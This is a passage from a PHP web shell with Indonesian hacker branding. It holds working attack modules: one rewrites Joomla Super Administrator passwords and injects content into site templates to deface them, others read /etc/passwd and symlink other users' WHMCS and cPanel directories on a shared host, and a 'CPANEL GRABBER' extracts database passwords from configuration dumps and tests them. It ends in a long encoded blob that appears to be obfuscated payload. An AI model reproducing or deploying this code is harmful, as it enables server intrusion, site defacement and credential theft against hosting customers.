5628 $configfile = str_replace($old , $new , $configs);
5629 $username=entre2v2($configfile, "hax0rsistzuser = '","';");
5630 $password=entre2v2($configfile, "hax0rsistzpassword = '","';");
5631 $dbname=entre2v2($configfile, "hax0rsistzdb = '","';");
5632 $dbprefix=entre2v2($configfile, "hax0rsistzdbprefix = '","';");
5633
5634 $strlendbprefix= strlen ($dbprefix);
5635 if ($strlendbprefix > 2) {
5636 $link=mysql_connect("localhost",$username,$password) ;
5637
5638 mysql_select_db($dbname,$link) ;
5639
5640 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='Yabod1' , password = 'af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG' where usertype='Super Administrator'");
5641
5642 //checking pass change
5643 $reqpass=('af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG');
5644 $checkpass= mysql_query("SELECT password FROM ".$dbprefix."users where username='Yabod1'");
5645 $showpass=mysql_fetch_array ($checkpass);
5646 if ($showpass[0]== $reqpass) {
5647
5648 $filename = 'passchanged.txt';
5649 $fp = fopen($filename, "a+");
5650 $write = fputs($fp, $site_url."\n");
5651 fclose($fp);
5652 //upto this alright
5653 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
5654
5655
5656 $co=randomt();
5657
5658 if ( $req )
5659 {
5660
5661 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
5662 $data = mysql_fetch_array($req);
5663 $template_name=$data["template"];
5664
5665 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
5666 $data = mysql_fetch_array($req);
5667 $template_id=$data["extension_id"];
5668
5669 $urlto=$site_urlto."/administrator/index.php";
5670
5671 $ch = curl_init();
5672 curl_setopt($ch, CURLOPT_URL, $urlto);
5673 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5674 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5675 curl_setopt($ch, CURLOPT_HEADER, 1);
5676 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5677 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5678 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5679
5680
5681 $buffer = curl_exec($ch);
5682
5683 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
5684 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
5685
5686 ///////////////////////////
5687 $urlto=$site_urlto."/administrator/index.php";
5688 $ch = curl_init();
5689 curl_setopt($ch, CURLOPT_URL, $urlto);
5690 curl_setopt($ch, CURLOPT_POST, 1);
5691 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&return=".$return."&".$hidden."=1");
5692 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5693 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5694 curl_setopt($ch, CURLOPT_HEADER, 0);
5695 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5696 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5697 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5698 $buffer = curl_exec($ch);
5699
5700 $pos = strpos($buffer,"com_config");
5701 if($pos === false) {
5702
5703 }
5704 else {
5705 }
5706 ///////////////////////////
5707 $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
5708 $ch = curl_init();
5709 curl_setopt($ch, CURLOPT_URL, $urlto);
5710 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5711 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5712 curl_setopt($ch, CURLOPT_HEADER, 0);
5713 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5714 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5715 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5716 $buffer = curl_exec($ch);
5717
5718 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
5719 if($hidden2) {
5720 }
5721 else {
5722
5723 }
5724 $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
5725
5726 $ch = curl_init();
5727 curl_setopt($ch, CURLOPT_URL, $urlto);
5728 curl_setopt($ch, CURLOPT_POST, 1);
5729 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
5730
5731 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5732 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5733 curl_setopt($ch, CURLOPT_HEADER, 0);
5734 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5735 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5736 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5737 $buffer = curl_exec($ch);
5738
5739 $pos = strpos($buffer,'<dd class="message message">');
5740 if($pos === false) {
5741 echo "<center><table border=1 cellspacing=1 cellpading=1>
5742 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
5743 }
5744 else {
5745 $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
5746 $filename = 'deftemp.txt';
5747 $fp = fopen($filename, "a+");
5748 $write = fputs($fp, $deftempurl."\n");
5749 fclose($fp);
5750
5751 echo "<center><table border=1 cellspacing=1 cellpading=1>
5752 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
5753
5754
5755 }
5756
5757 }
5758
5759 else
5760 {
5761
5762 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
5763 $data = mysql_fetch_array($req);
5764 $template_name=$data["template"];
5765
5766 $urlto=$site_urlto."/administrator/index.php";
5767 $ch = curl_init();
5768 curl_setopt($ch, CURLOPT_URL, $urlto);
5769 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5770 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5771 curl_setopt($ch, CURLOPT_HEADER, 1);
5772 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5773 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5774 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5775 $buffer = curl_exec($ch);
5776
5777 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
5778
5779 $urlto=$site_urlto."/administrator/index.php";
5780 $ch = curl_init();
5781 curl_setopt($ch, CURLOPT_URL, $urlto);
5782 curl_setopt($ch, CURLOPT_POST, 1);
5783 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&".$hidden."=1");
5784 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5785 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5786 curl_setopt($ch, CURLOPT_HEADER, 0);
5787 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5788 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5789 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5790 $buffer = curl_exec($ch);
5791
5792 $pos = strpos($buffer,"com_config");
5793
5794 if($pos === false) {
5795
5796 }
5797 else {
5798 }
5799 $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
5800 $ch = curl_init();
5801 curl_setopt($ch, CURLOPT_URL, $urlto);
5802 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5803 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5804 curl_setopt($ch, CURLOPT_HEADER, 0);
5805 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5806 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5807 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5808 $buffer = curl_exec($ch);
5809
5810 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
5811
5812 if($hidden2) {
5813
5814 }
5815 else {
5816
5817 }
5818
5819
5820 $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
5821 $ch = curl_init();
5822 curl_setopt($ch, CURLOPT_URL, $urlto);
5823 curl_setopt($ch, CURLOPT_POST, 1);
5824 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
5825 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5826 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5827 curl_setopt($ch, CURLOPT_HEADER, 0);
5828 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5829 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5830 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5831 $buffer = curl_exec($ch);
5832
5833 $pos = strpos($buffer,'<dd class="message message fade">');
5834 if($pos === false) {
5835 echo "<center><table border=1 cellspacing=1 cellpading=1>
5836 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
5837 }
5838 else {
5839 $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
5840 $filename = 'deftemp.txt';
5841 $fp = fopen($filename, "a+");
5842 $write = fputs($fp, $deftempurl."\n");
5843 fclose($fp);
5844
5845 echo "<center><table border=1 cellspacing=1 cellpading=1>
5846 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
5847
5848
5849 }
5850
5851 }
5852
5853
5854 //upto this alright
5855
5856
5857
5858
5859
5860
5861
5862
5863 }
5864 else {
5865 }
5866 }
5867 else {
5868 }
5869 }
5870
5871 $cntpasschanged=file('passchanged.txt');
5872 $countpasschanged= count ($cntpasschanged);
5873
5874
5875
5876 echo("<br>");
5877 $defacedurl=('<a href="deftemp.txt" target="_blank">View List of Defaced Site</a><br />');
5878 $passchangedurl=('<a href="passchanged.txt" target="_blank">View List of Password Changed site</a><br />');
5879 echo "<center><table border=1 cellspacing=1 cellpading=1>
5880 <td width=300><font color=green> $defacedurl</font></td><td width=300><font color=green> $passchangedurl </font></td></tr></table></center>";
5881
5882
5883
5884 //declaring function entre2v2
5885 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
5886 $ar0=explode($marqueurDebutLien, $text);
5887 $ar1=explode($marqueurFinLien, $ar0[$i]);
5888 return trim($ar1[0]);
5889 }
5890
5891 function randomt() {
5892
5893 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
5894 srand((double)microtime()*1000000);
5895 $i = 0;
5896 $pass = '' ;
5897
5898 while ($i <= 7) {
5899 $num = rand() % 33;
5900 $tmp = substr($chars, $num, 1);
5901 $pass = $pass . $tmp;
5902 $i++;
5903 }
5904
5905 return $pass;
5906}
5907?>
5908
5909<?php }
5910# x=reseller
5911elseif(isset($_GET['x']) && ($_GET['x'] == 'reseller')){ ?>
5912<form action="?dm=<?php echo $pwd; ?>&x=reseller" method="post">
5913
5914
5915 <?php
5916echo '<br><br><body bgcolor=black><center>
5917<img src="http://www.nextgenhost.net/icons/logo-cpanel-whm.png"><br/><br/>
5918<nobr><b><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr></span><br/><br/>
5919<form method="POST">
5920<center>
5921<textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
5922$uSr=file("/etc/passwd");
5923foreach($uSr as $usrr)
5924{
5925$str=explode(":",$usrr);
5926echo $str[0]."\n";
5927}
5928?>
5929
5930</textarea><p>
5931<nobr><font style="color:red;background-color:#000000">
5932[~] Home :
5933<select style="color:red;background-color:#000000" title="Select Target Home" name="home" size="10">
5934<option title="home" value="home">home</option>
5935<option title="home2" value="home2">home2</option>
5936<option title="home3" value="home3">home3</option>
5937<option title="home4" value="home4">home4</option>
5938<option title="home5" value="home5">home5</option>
5939<option title="home6" value="home6">home6</option>
5940<option title="home7" value="home7">home7</option>
5941<option title="home8" value="home8">home8</option>
5942<option title="home9" value="home9">home9</option>
5943<option title="home10" value="home10">home10</option>
5944</select> [~] Htaccess :
5945<select style="color:red;background-color:#000000" title="Select Software" name="soft" size="10">
5946<option title="Apache" value="Options all
5947Options +Indexes
5948Options +FollowSymLinks
5949DirectoryIndex Sux.html
5950AddType text/plain .php
5951AddHandler server-parsed .php
5952AddType text/plain .html
5953AddHandler txt .html
5954Require None
5955Satisfy Any">Apache</option>
5956<option title="Litespeed" value="
5957Options +FollowSymLinks
5958DirectoryIndex seees.html
5959RemoveHandler .php
5960AddType application/octet-stream .php ">Litespeed</option>
5961
5962</select> <input style="color:red;background-color:#000000" name="anu" size="10"
5963 value="<< START SCAN >>" type="submit">
5964<br/><br/></form></center>
5965
5966 <?php
5967@ini_set('html_errors',0);
5968@ini_set('max_execution_time',0);
5969@ini_set('display_errors', 0);
5970@ini_set('file_uploads',1);
5971if ($_POST['anu']) {
5972$path = $_POST['path'];
5973$home = $_POST['home'];
5974
5975$functions=@ini_get("disable_functions");
5976if(eregi("symlink",$functions))
5977{
5978die ('Kurang Ganteng Cok');
5979}
5980@mkdir(RESELLER, 0755);
5981@chdir(RESELLER);
5982$htaccess=$_POST['soft'];
5983file_put_contents(".htaccess",$htaccess,FILE_APPEND);
5984
5985$passwd=explode("\n",$_POST["passwd"]); foreach($passwd as $pwd){
5986$user=trim($pwd);
5987@symlink('/'.$home.'/'.$user.'/public_html/moving.page/index.html',$user.' <~ RESELLER1');
5988@symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER2');
5989}
5990
5991echo '<center>
5992<font face="Audiowide" size="5" style="color:red;background-color:#000000">
5993<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
5994Scanning Complete....<br/>
5995Now Checking Folder Result....<br/><br/><br/>
5996<a href="/RESELLER">O=[ GO TO HELL ]=O</a>
5997</font>
5998<br/><br/><br/></center> </body></html> ';
5999}
6000?>
6001
6002<?php }
6003# x=dmwhmcs11
6004elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs11')){ ?>
6005<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs11" method="post">
6006
6007<?php
6008echo '<br><br><body bgcolor=black><center>
6009<img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/>
6010<nobr><span class="b7">O=:[ SCAN CMS</span> <span class="b8">WHMCS ]:=O</nobr></span><br/><br/>
6011<form method="POST">
6012<center>
6013<textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
6014$uSr=file("/etc/passwd");
6015foreach($uSr as $usrr)
6016{
6017$str=explode(":",$usrr);
6018echo $str[0]."\n";
6019}
6020?>
6021
6022</textarea><p>
6023<nobr><font style="color:red;background-color:#000000">
6024[~] Home :
6025<select style="color:red;background-color:#000000" title="Select Target Home" name="home" size="10">
6026<option title="home" value="home">home</option>
6027<option title="home2" value="home2">home2</option>
6028<option title="home3" value="home3">home3</option>
6029<option title="home4" value="home4">home4</option>
6030<option title="home5" value="home5">home5</option>
6031<option title="home6" value="home6">home6</option>
6032<option title="home7" value="home7">home7</option>
6033<option title="home8" value="home8">home8</option>
6034<option title="home9" value="home9">home9</option>
6035<option title="home10" value="home10">home10</option>
6036</select> [~] Htaccess :
6037<select style="color:red;background-color:#000000" title="Select Software" name="soft" size="10">
6038<option title="Apache" value="Options all
6039Options +Indexes
6040Options +FollowSymLinks
6041DirectoryIndex Sux.html
6042AddType text/plain .php
6043AddHandler server-parsed .php
6044AddType text/plain .html
6045AddHandler txt .html
6046Require None
6047Satisfy Any">Apache</option>
6048<option title="Litespeed" value="
6049Options +FollowSymLinks
6050DirectoryIndex seees.html
6051RemoveHandler .php
6052AddType application/octet-stream .php ">Litespeed</option>
6053
6054</select> <input style="color:red;background-color:#000000" name="anu" size="10"
6055 value="<< START SCAN >>" type="submit">
6056<br/><br/></form></center>
6057
6058 <?php
6059@ini_set('html_errors',0);
6060@ini_set('max_execution_time',0);
6061@ini_set('display_errors', 0);
6062@ini_set('file_uploads',1);
6063if ($_POST['anu']) {
6064$path = $_POST['path'];
6065$home = $_POST['home'];
6066
6067$functions=@ini_get("disable_functions");
6068if(eregi("symlink",$functions))
6069{
6070die ('Kurang Ganteng Cok');
6071}
6072@mkdir(WHMCS, 0755);
6073@chdir(WHMCS);
6074
6075
6076
6077$htaccess=$_POST['soft'];
6078file_put_contents(".htaccess",$htaccess,FILE_APPEND);
6079
6080$passwd=explode("\n",$_POST["passwd"]);
6081foreach($passwd as $pwd){
6082$user=trim($pwd);
6083
6084@symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER');
6085
6086@symlink('/'.$home.'/'.$user.'/public_html/modules/registrars/',$user.' <~ WHMCS-1'); @symlink('/'.$home.'/'.$user.'/public_html/account/modules/registrars/',$user.' <~ WHMCS-2');
6087@symlink('/'.$home.'/'.$user.'/public_html/accounts/modules/registrars/',$user.' <~ WHMCS-3');
6088@symlink('/'.$home.'/'.$user.'/public_html/central/modules/registrars/',$user.' <~ WHMCS-4');
6089@symlink('/'.$home.'/'.$user.'/public_html/clienti/modules/registrars/',$user.' <~ WHMCS-5');
6090@symlink('/'.$home.'/'.$user.'/public_html/client/modules/registrars/',$user.' <~ WHMCS-6');
6091@symlink('/'.$home.'/'.$user.'/public_html/cliente/modules/registrars/',$user.' <~ WHMCS-7');
6092@symlink('/'.$home.'/'.$user.'/public_html/clientes/modules/registrars/',$user.' <~ WHMCS-8');
6093@symlink('/'.$home.'/'.$user.'/public_html/clients/modules/registrars/',$user.' <~ WHMCS-9');
6094@symlink('/'.$home.'/'.$user.'/public_html/clientarea/modules/registrars/',$user.' <~ WHMCS-9');
6095@symlink('/'.$home.'/'.$user.'/public_html/clientsarea/modules/registrars/',$user.' <~ WHMCS-10');
6096@symlink('/'.$home.'/'.$user.'/public_html/client-area/modules/registrars/',$user.' <~ WHMCS-11');
6097@symlink('/'.$home.'/'.$user.'/public_html/clients-area/modules/registrars/',$user.' <~ WHMCS-12');
6098@symlink('/'.$home.'/'.$user.'/public_html/clientzone/modules/registrars/',$user.' <~ WHMCS-13');
6099@symlink('/'.$home.'/'.$user.'/public_html/client-zone/modules/registrars/',$user.' <~ WHMCS-14');
6100@symlink('/'.$home.'/'.$user.'/public_html/core/modules/registrars/',$user.' <~ WHMCS-15');
6101@symlink('/'.$home.'/'.$user.'/public_html/company/modules/registrars/',$user.' <~ WHMCS-16');
6102@symlink('/'.$home.'/'.$user.'/public_html/customer/modules/registrars/',$user.' <~ WHMCS-17');
6103@symlink('/'.$home.'/'.$user.'/public_html/customers/modules/registrars/',$user.' <~ WHMCS-18');
6104@symlink('/'.$home.'/'.$user.'/public_html/bill/modules/registrars/',$user.' <~ WHMCS-19');
6105@symlink('/'.$home.'/'.$user.'/public_html/billing/modules/registrars/',$user.' <~ WHMCS-20');
6106@symlink('/'.$home.'/'.$user.'/public_html/finance/modules/registrars/',$user.' <~ WHMCS-21');
6107@symlink('/'.$home.'/'.$user.'/public_html/financeiro/modules/registrars/',$user.' <~ WHMCS-22');
6108@symlink('/'.$home.'/'.$user.'/public_html/host/modules/registrars/',$user.' <~ WHMCS-23');
6109@symlink('/'.$home.'/'.$user.'/public_html/hosts/modules/registrars/',$user.' <~ WHMCS-24');
6110@symlink('/'.$home.'/'.$user.'/public_html/hosting/modules/registrars/',$user.' <~ WHMCS-25');
6111@symlink('/'.$home.'/'.$user.'/public_html/hostings/modules/registrars/',$user.' <~ WHMCS'-26);
6112@symlink('/'.$home.'/'.$user.'/public_html/klien/modules/registrars/',$user.' <~ WHMCS-27');
6113@symlink('/'.$home.'/'.$user.'/public_html/manage/modules/registrars/',$user.' <~ WHMCS-28');
6114@symlink('/'.$home.'/'.$user.'/public_html/manager/modules/registrars/',$user.' <~ WHMCS-29');
6115@symlink('/'.$home.'/'.$user.'/public_html/member/modules/registrars/',$user.' <~ WHMCS-30');
6116@symlink('/'.$home.'/'.$user.'/public_html/members/modules/registrars/',$user.' <~ WHMCS-31');
6117@symlink('/'.$home.'/'.$user.'/public_html/my/modules/registrars/',$user.' <~ WHMCS-32');
6118@symlink('/'.$home.'/'.$user.'/public_html/myaccount/modules/registrars/',$user.' <~ WHMCS-33');
6119@symlink('/'.$home.'/'.$user.'/public_html/my-account/client/modules/registrars/',$user.' <~ WHMCS-34');
6120@symlink('/'.$home.'/'.$user.'/public_html/myaccounts/modules/registrars/',$user.' <~ WHMCS-35');
6121@symlink('/'.$home.'/'.$user.'/public_html/my-accounts/modules/registrars/',$user.' <~ WHMCS-36');
6122@symlink('/'.$home.'/'.$user.'/public_html/order/modules/registrars/',$user.' <~ WHMCS-37');
6123@symlink('/'.$home.'/'.$user.'/public_html/orders/modules/registrars/',$user.' <~ WHMCS-38');
6124@symlink('/'.$home.'/'.$user.'/public_html/painel/modules/registrars/',$user.' <~ WHMCS-39');
6125@symlink('/'.$home.'/'.$user.'/public_html/panel/modules/registrars/',$user.' <~ WHMCS-40');
6126@symlink('/'.$home.'/'.$user.'/public_html/panels/modules/registrars/',$user.' <~ WHMCS-41');
6127@symlink('/'.$home.'/'.$user.'/public_html/portal/modules/registrars/',$user.' <~ WHMCS-42');
6128@symlink('/'.$home.'/'.$user.'/public_html/portals/modules/registrars/',$user.' <~ WHMCS-43');
6129@symlink('/'.$home.'/'.$user.'/public_html/secure/modules/registrars/',$user.' <~ WHMCS-44');
6130@symlink('/'.$home.'/'.$user.'/public_html/support/modules/registrars/',$user.' <~ WHMCS-45');
6131@symlink('/'.$home.'/'.$user.'/public_html/supporte/modules/registrars/',$user.' <~ WHMCS-46');
6132@symlink('/'.$home.'/'.$user.'/public_html/supports/modules/registrars/',$user.' <~ WHMCS-47');
6133@symlink('/'.$home.'/'.$user.'/public_html/web/modules/registrars/',$user.' <~ WHMCS-48');
6134@symlink('/'.$home.'/'.$user.'/public_html/webhost/modules/registrars/',$user.' <~ WHMCS-49');
6135@symlink('/'.$home.'/'.$user.'/public_html/webhosting/modules/registrars/',$user.' <~ WHMCS-50');
6136@symlink('/'.$home.'/'.$user.'/public_html/whm/modules/registrars/',$user.' <~ WHMCS-51');
6137@symlink('/'.$home.'/'.$user.'/public_html/whmcs/modules/registrars/',$user.' <~ WHMCS-52');
6138@symlink('/'.$home.'/'.$user.'/public_html/whmcs2/modules/registrars/',$user.' <~ WHMCS-53');
6139@symlink('/'.$home.'/'.$user.'/public_html/Whm/modules/registrars/',$user.' <~ WHMCS-54');
6140@symlink('/'.$home.'/'.$user.'/public_html/Whmcs/modules/registrars/',$user.' <~ WHMCS-55');
6141@symlink('/'.$home.'/'.$user.'/public_html/WHM/modules/registrars/',$user.' <~ WHMCS-56');
6142@symlink('/'.$home.'/'.$user.'/public_html/WHMCS/modules/registrars/',$user.' <~ WHMCS-57');
6143}
6144echo '<hr color="#00bfff"><center>
6145<font face="Audiowide" size="5" style="color:#00bfff;background-color:#000000">
6146<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
6147Scanning Complete....<br/>
6148Now Checking Folder Result....<br/><br/><br/>
6149<a href="/WHMCS">O=[ GO TO HELL ]=O</a>
6150</font>
6151<br/><br/><br/></center> </body></html> ';
6152}
6153?>
6154
6155<?php }
6156# x=cp3
6157elseif(isset($_GET['x']) && ($_GET['x'] == 'cp3')){
6158?>
6159<form action="?dm=<?php echo $pwd; ?>&x=cp3" method="post">
6160
6161<?php
6162set_time_limit(0);
6163error_reporting(0);
6164if(isset($_POST['url'])){
6165$url = $_POST['url'];
6166}else{
6167$url = 'http://';
6168}
6169echo '<center><br/><br/><nobr><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/>
6170<form method="POST">
6171<input name="url" style="color:#FF0000;background-color:#000000" type="text" value="'.$url.'" size="40"/><br/>
6172<p><input type="submit" style="color:#FF0000;background-color:#000000" value="--:[ CROTZ ]:--"/>
6173</form><br/><br/>';
6174if(isset($_POST['url'])){
6175if(!file_get_contents($url)){
6176echo '--:[ ERROR BRAY ]:--';
6177}else{
6178$a = 0;
6179foreach(get_data($url) as $info){
6180if(login($info[0],$info[1])){
6181echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'>-:[ USERNAME & PASSWORD ]:-</b> <b style=' color: #0000FF ; text-shadow:0px 0px 1px #0000FF ;'>[$info[0]]</b> <b style=' color: #CC0000; text-shadow:0px 0px 1px #CC0000;'>[$info[1]]</b><br />";
6182$a++;
6183}
6184}
6185echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'><hr> *SUKSES ^_^ || $a CPANEL FOUNDED*<br />";
6186}
6187}
6188echo '<br/><div align="center"><font color="blue" face="Verdana" size="3">--=|[+] Sh4d0w4rT [+]|=--</font></div>
6189</body>
6190</html>';
6191function ex($a,$b,$text){
6192$explode = explode($a,$text);
6193$explode = explode($b,$explode[1]);
6194return $explode[0];
6195}
6196function login($user,$pass){
6197$c = @mysql_connect('localhost',$user,$pass);
6198if($c){
6199mysql_close($c);
6200return true;
6201}else{
6202return false;
6203}
6204}
6205function get_data($url){
6206$ar = array('1.txt','2.txt','3.txt','4.txt','5.txt','6.txt','7.txt','8.txt','9.txt','10.txt','11.txt','12.txt','13.txt','14txt','15.txt','16.txt','17.txt','18.txt','19.txt','20.txt','21.txt','22.txt','23.txt','24.txt','25.txt','26.txt','27.txt','28.txt','29.txt','30.txt','31.txt','32.txt','33.txt','34.txt','35.txt','36.txt','37.txt','38.txt','39.txt','40.txt','41.txt','42.txt','43.txt','44.txt','45.txt','46.txt','47.txt','48.txt','49.txt','50.txt');
6207$src = file_get_contents($url);
6208$files = explode('<a href="',$src);
6209$data = array();
6210foreach($files as $id=>$file){
6211if($id == 0){
6212continue;
6213}
6214$file = explode('">',$file);
6215$file = trim($file[0]);
6216if(!eregi('.txt',$file)){
6217continue;
6218}
6219$src = file_get_contents("$url/$file");
6220if(!$src){
6221continue;
6222}
6223$user = str_replace($ar,'',$file);
6224$user = str_replace($ar,'',$user.'.txt');
6225$user = str_replace($ar,'',$user.'.txt');
6226$user = trim(str_replace('.txt','',$user));
6227if(eregi("WordPress",$src)){
6228$pass = ex("define('DB_PASSWORD', '","');",$src);
6229$data[] = array($user,$pass);
6230}else{
6231$tokens = token_get_all($src);
6232foreach($tokens as $token){
6233if(!$token[1]){
6234continue;
6235}
6236$tokenname = token_name($token[0]);
6237if($tokenname != 'T_VARIABLE'){
6238continue;
6239}
6240$var = $token[1];
6241if(eregi('pass',$var)){
6242$f = str_replace(' ','',ex($var,';',$src));
6243$a = trim(ex("='","'",$f));
6244$b = trim(ex('"','"',$f));
6245if($a != ''){
6246$pass = $a;
6247}elseif($b != ''){
6248$pass = $b;
6249}
6250if($pass == ''){
6251continue;
6252}
6253$data[] = array($user,$pass);
6254}
6255}
6256}
6257}
6258return $data;
6259}
6260;
6261return;
6262?>~Dkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tmYlfy90DB1lb2xpdBl0heEpKXplFmkvFl9ZcbnvFmOpdMFPHtL7tMlMholzF2a0htOgAr9TaySmfbkSk10phbShkuaZdtE9wtOgAr9TaySmfbkSk107tm1lduYlGXPLfbkSwe0Ik2i0fuE6RZ93f3FVkzShgWplC2ivwtF8wAONW1OcArAIUyOYTe4hNoi0dBX+tjxPcByLNIP8fol0doA+WJ1owrYvdMcpc19jAoyVcBX8R3OpfoxlNIP8F3O5doAIfulXcT0Jfoa4ft9jF3HJNIPhCM9LGbShwtEIdByZc2lVwePICba0dzShwtEICMyjD2fZd3aVct1jd2xvFjPjcjcMYMC2KXPIwtnjd2xvFjPIwzHzKTL5KTShwtEIcM9Vft1MCB1pduL6wuOiDo9sCUXIc2aVcbciRtnSfBYpcorSduajDBOiwofZCB5LcUXICbkpCBXSwoilduclfoljCUXIF2yVFZ1zcbkpcjShwtEIcM9Vft1MCB1pduL6wer0FuI7tJEIwuOlGuWsCBxpc246woYldmOlFjShwtEIwocvdmWsf2apc2i0KJnJd2xLweShgWPhDB5XfbWSfoa4foyZcBrSF2aScBY0GXpMd250RbflDBfPfePICM9SceShC29Sd3w6wtHXHeEXHeE7tMkvFMOlFjPIHbn4wuYvdolLwtYeW0YeW0H7tMkiC2smFM91dMWsC29Sd3w6wufPDbOlKXpXCBOLDB5mKJEzFuI7tMkvFMOlFJ1ZCBOpfbH6wefXGeShgWPhDB5XfbW6cM9jfbY7tIPICM94RbYPCBOvfzPIHun4wenXGtE1FuIIwzEXKAC5OjShtm0hw2cvd3OlFJEIGXPhC29Sd3w6wtHXHeEXHeE7tMcvdmWscMysDBx5KJExYun4KXp0cbi0RbYPCBOvfzPIHun4wenXGtExFuIIwzEXHeEXHeS